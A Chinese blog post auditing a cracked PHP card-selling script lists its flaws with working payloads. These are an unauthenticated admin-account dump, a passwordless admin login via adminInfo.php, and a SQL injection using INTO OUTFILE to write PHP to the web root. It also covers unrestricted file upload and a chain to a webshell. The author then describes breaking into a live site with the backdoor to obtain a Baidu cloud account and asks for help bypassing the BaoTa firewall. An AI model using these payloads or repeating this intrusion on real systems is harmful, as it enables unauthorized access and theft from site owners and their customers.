<p><span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" title="代码审计" target="_blank">代码审计</a></span>这方面我是新手，所以我的目标是找找sql注入、未授权访问、上传点以及越权，当然考虑到是免授权优化版，我还可以找找后门：文件遍历或者<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>执行</p>
<h2 id="[后门?]文件遍历">[后门?]文件遍历#</h2>
<p><code>/bom.php</code>的<code>checkdir()</code>函数</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44ea32b4b0.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca450121c74e.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>递归遍历当前目录下的所有文件。</p>
<p>这个文件应该是去除文件的bom头，不知道算不算后门。</p>
<h2 id="过滤方式">过滤方式#</h2>
<p><code>\includes\libs\Functions.php</code></p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca451dcbba4f.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>全局<code>makeSafe()</code>函数过滤，强转数字，<code>addslashes()</code>和<code>mysql_real_escape_string()</code>转义字符串，<code>strip_tags</code>去除html标签</p>
<p><code>\includes\libs\Mysql.php</code></p>
<p>MySQL使用UTF8编码<img src="https://i.loli.net/2019/04/03/5ca4523a907e7.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></p>
<p>我发现的SQL语句变量全部使用单引号进行包裹，寄希望于seay，暂放。</p>
<h2 id="[后门]获取管理员账户">[后门]获取管理员账户#</h2>
<p><code>\admin\adminInfo.php</code>没有鉴权</p>
<p><img src="https://i.loli.net/2019/04/03/5ca453efb4bab.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></p>
<div id="crayon-5d1dfd3dca8ad344490696" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-2">2</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-4">4</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-6">6</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-8">8</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-10">10</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-12">12</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-14">14</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-16">16</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-18">18</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-20">20</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-22">22</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-24">24</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-25">25</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-26">26</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8ad344490696-27">27</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8ad344490696-28">28</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8ad344490696-1" class="crayon-line"><span class="crayon-t">function</span> <span class="crayon-e">getmethod</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-2" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">ob</span> <span class="crayon-o">=</span> <span class="crayon-r">new</span> <span class="crayon-e">Admin_Model</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">items</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">ob</span><span class="crayon-o">-&gt;</span><span class="crayon-e">getData</span><span class="crayon-sy">(</span><span class="crayon-cn">1</span><span class="crayon-sy">,</span> <span class="crayon-cn">10</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;WHERE id &lt;&gt; -1&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">index</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;table border=&#8217;1&#8242; style=&#8221;&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">foreach</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">items </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">item</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-7" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-8" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">$</span><span class="crayon-v">index</span> <span class="crayon-o">++</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-9" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">index</span> <span class="crayon-o">==</span> <span class="crayon-cn">1</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span><span class="crayon-h">        </span></div>
<div id="crayon-5d1dfd3dca8ad344490696-10" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-st">foreach</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">item </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">key</span> <span class="crayon-o">=</span><span class="crayon-o">&gt;</span> <span class="crayon-sy">$</span><span class="crayon-v">val</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-11" class="crayon-line"><span class="crayon-h">                </span><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-e">preg_match</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;/^\d*$/&#8221;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">key</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-12" class="crayon-line crayon-striped-line"><span class="crayon-h">                    </span><span class="crayon-st">continue</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-13" class="crayon-line"><span class="crayon-h">                </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-14" class="crayon-line crayon-striped-line"><span class="crayon-h">                </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;th&gt;$key&lt;/th&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-15" class="crayon-line"><span class="crayon-h">            </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-16" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;/tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-17" class="crayon-line"><span class="crayon-h">            </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-18" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-19" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-st">foreach</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">item </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">key</span> <span class="crayon-o">=</span><span class="crayon-o">&gt;</span> <span class="crayon-sy">$</span><span class="crayon-v">val</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-20" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-e">preg_match</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;/^\d*$/&#8221;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">key</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-21" class="crayon-line"><span class="crayon-h">                </span><span class="crayon-st">continue</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-22" class="crayon-line crayon-striped-line"><span class="crayon-h">            </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-23" class="crayon-line"><span class="crayon-h">            </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;td&gt;$val&lt;/td&gt;&#8221;</span><span class="crayon-sy">;</span><span class="crayon-h">   </span></div>
<div id="crayon-5d1dfd3dca8ad344490696-24" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-25" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;/tr&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-26" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-27" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">echo</span> <span class="crayon-s">&#8220;&lt;/table&gt;&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8ad344490696-28" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>payload：<code>/admin/adminInfo.php?action=get</code></p>
<h2 id="[后门]无需密码登录后台">[后门]无需密码登录后台#</h2>
<p>还是<code>\admin\adminInfo.php</code></p>
<div id="crayon-5d1dfd3dca8b7805402794" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-2">2</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-4">4</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-6">6</div>
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b7805402794-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1dfd3dca8b7805402794-8">8</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8b7805402794-1" class="crayon-line"><span class="crayon-t">function</span> <span class="crayon-e">infomethod</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-2" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">ob</span> <span class="crayon-o">=</span> <span class="crayon-r">new</span> <span class="crayon-e">Admin_Model</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">u</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">ob</span><span class="crayon-o">-&gt;</span><span class="crayon-e">getOneData</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;id&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminname&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;username&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminid&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;id&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminutype&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;utype&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-7" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">$</span><span class="crayon-v">_SESSION</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;login_adminlimit&#8217;</span><span class="crayon-sy">]</span><span class="crayon-o">=</span><span class="crayon-e">explode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;|&#8217;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">u</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;adminlimit&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1dfd3dca8b7805402794-8" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>payload:先访问<code>/admin/adminInfo.php?action=info&amp;id=1</code>然后访问<code>/admin/</code></p>
<h2 id="[后门]SQL注入">[后门]SQL注入#</h2>
<p>还是<code>\admin\adminInfo.php</code>的<code>infomethod()</code>函数</p>
<div id="crayon-5d1dfd3dca8b9770505137" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8b9770505137-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8b9770505137-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">u</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">ob</span><span class="crayon-o">-&gt;</span><span class="crayon-e">getOneData</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;id&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>id直接代入数据库查询，可尝试<code>into outfile</code></p>
<p>payload</p>
<div id="crayon-5d1dfd3dca8bb897660177" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1dfd3dca8bb897660177-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1dfd3dca8bb897660177-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//go.go/admin/admininfo.php?action=info&amp;id=-1 union select 1,2,3,4,5,6,7,8,9,10,&#8217;<span class="crayon-ta">&lt;?php</span> <span class="crayon-e">phpinfo</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-ta">?&gt;</span>&#8216; into outfile &#8216;E:/WWW/faka/1.php&#8217;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2 id="后台任意文件上传">后台任意文件上传#</h2>
<p><code>/admin/set.php</code>未对文件后缀校验</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca4581bbeb22.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca457c2b0c0d.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<h2 id="漏洞利用">漏洞利用#</h2>
<p>文件遍历拿到后台=&gt;<code>adminInfo.php</code>拿到管理员账户或直接登陆=&gt;任意文件上传拿shell</p>
<h1 id="实战"><a class="tag_link" title="浏览关于“实战”的文章" href="/tags/%e5%ae%9e%e6%88%98" target="_blank" rel="noopener noreferrer">实战</a>#</h1>
<p>后门进入后台，上传没有写文件权限，sql注入outfile写文件被宝塔拦截，尝试多种方法无果，放弃，毕竟账号已经有了，下东西去。</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca4598882548.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>ps:我没想到一个卖百度云账号的流水一天也能7k</p>
<h1 id="总结">总结#</h1>
<p>网站是死的，思路是活的。<a class="tag_link" title="浏览关于“渗透测试”的文章" href="/tags/%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95" target="_blank" rel="noopener noreferrer">渗透测试</a>的精髓是指哪打哪，希望我可以做到。<strong>另外如果有师傅知道怎么绕过宝塔写shell的请pm我，感激不尽。</strong>有在学代码审计的同学也欢迎找我交流哦！</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
